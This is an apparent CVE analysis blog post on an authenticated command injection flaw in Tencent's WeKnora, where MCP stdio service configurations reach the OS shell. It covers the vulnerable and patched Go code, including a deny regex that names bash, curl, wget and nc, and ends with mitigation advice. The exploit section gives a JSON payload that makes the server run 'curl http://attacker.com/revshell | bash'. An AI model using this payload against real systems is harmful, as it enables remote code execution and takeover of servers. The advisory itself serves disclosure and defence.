WeKnora RCE: When 'Model Context' Becomes 'Shell Context'
Jan 10, 2026·5 min read
Executive Summary (TL;DR)
WeKnora, an AI knowledge base tool, implemented the MCP 'stdio' transport by taking a user-defined command and passing it directly to the OS shell. No filtering, no questions asked. Authenticated attackers can configure a 'service' that essentially runs `bash -c 'bad_things'`, leading to immediate Remote Code Execution. The vendor patch attempts to whitelist binaries like `npx` and `uvx`, but creative attackers might still find room to maneuver.
A critical command injection vulnerability in Tencent's WeKnora allows authenticated users to execute arbitrary system commands by abusing the Model Context Protocol (MCP) stdio transport configuration.
The Hook: AI Agents with a License to Kill
In the rush to build the ultimate AI Agent ecosystem, developers are rapidly adopting the Model Context Protocol (MCP). It's a cool standard that lets Large Language Models (LLMs) talk to your local data and tools. One of the ways it does this is via the stdio transport—basically, the application spawns a subprocess and talks to it via standard input/output.
Here is where Tencent's WeKnora stumbled. They implemented an MCP client that allows users to define exactly which binary to spawn as a subprocess. If you are a developer, your spider sense should be tingling right now. Letting a user pick a binary path and its arguments is effectively providing a "Remote Shell as a Service" feature.
This isn't just a bug; it's a fundamental misunderstanding of trust boundaries. The application assumes that because a user is authenticated (via a Bearer token), they can be trusted to execute code on the underlying server. Spoiler alert: they cannot.
The Flaw: Trusting the Untrustable
The vulnerability lies in how WeKnora handles the stdio_config object within an MCP service definition. When a user creates or updates a service, they supply a JSON payload containing the command to run (command) and its arguments (args).
Under the hood, WeKnora takes these strings and passes them straight to Go's os/exec package. There was no allowlist of permitted binaries. There was no sanitization of arguments. There was no check to ensure the command wasn't /bin/bash or C:\Windows\System32\cmd.exe.
Even worse, this configuration is persisted. Once the malicious service is saved, the attacker can trigger the execution on-demand by hitting the /test endpoint. It’s persistent RCE stored in the database, waiting for a trigger pull.
The Code: Anatomy of a Shell Injection
Let's look at the smoking gun. Prior to the fix, the code likely looked something like this (simplified for dramatic effect):
// The "Before" Logic
func StartMCPServer(config StdioConfig) {
// Direct injection into exec.Command
cmd := exec.Command(config.Command, config.Args...)
cmd.Start()
}The fix, applied in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb, introduces a new security package internal/utils/security.go that acts like a mini-WAF for process execution.
The Patch Logic
The developers implemented a "Secure Stdio" validator that enforces three main restrictions:
- Command Whitelist: You can only run
uvx(Python) ornpx(Node.js). Anything else gets blocked. - Argument Blacklist: A massive regex (
DangerousArgPatterns) tries to catch bad behavior. It blocks characters like;,|,&,$(), and keywords likebash,sh,curl,wget, andnc. - Env Var Sanitization: It strips dangerous environment variables like
LD_PRELOAD.
// The "After" Logic
var AllowedStdioCommands = map[string]bool{
"uvx": true,
"npx": true,
}
// Blocks common shell injection and data exfiltration tools
var DangerousArgPatterns = regexp.MustCompile(`[;|&$<>]|\b(bash|sh|zsh|curl|wget|nc)\b`)While this stops the low-hanging fruit (like running bash), whitelisting npx is a bold move. npx is literally designed to download and execute arbitrary code from the internet. If the server has outbound access, this patch might just be a speed bump rather than a wall.
The Exploit: From API to Root
Exploiting this is trivially easy if you have credentials. We don't need fancy memory corruption; we just need curl.
Step 1: Get In
First, we authenticate to get a JWT. WeKnora doesn't distinguish between "users who can chat" and "users who can spawn processes."
Step 2: The Payload
We craft a JSON payload creating a new MCP service. We tell WeKnora that our "Model Context" is actually the Bourne Again Shell.
{
"name": "pwned_service",
"transport_type": "stdio",
"stdio_config": {
"command": "/bin/bash",
"args": [
"-c",
"id > /tmp/pwned && curl http://attacker.com/revshell | bash"
]
}
}Step 3: Execution
We send a request to the test endpoint. The server spins up bash, executes our command, and potentially connects back to our listener. Game over.
The Fix: Mitigation & Thoughts
If you are running WeKnora, you need to update immediately. The vulnerability affects all versions prior to the Dec 22, 2024 commit.
Immediate Actions:
- Pull the latest Docker image or rebuild from source containing commit
f7900a5e. - Audit your MCP Services: Check your database for any services using
stdiotransport with suspicious commands.
Defense in Depth:
Even with the patch, relying on npx and uvx is risky. These tools pull code from public registries.
- Egress Filtering: Block outbound internet access for the WeKnora container. If
npxcan't reach npm, it can't run arbitrary remote packages. - Least Privilege: Ensure the WeKnora process runs as a non-root user with minimal filesystem access.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
WeKnora Tencent | < Commit f7900a5e | Commit f7900a5e |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| Attack Vector | Network (Authenticated) |
| CVSS v3.1 | 8.8 (High) |
| Impact | Remote Code Execution (RCE) |
| Likelihood | High (if authenticated) |
| Patch Status | Fixed in master branch |
MITRE ATT&CK Mapping
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.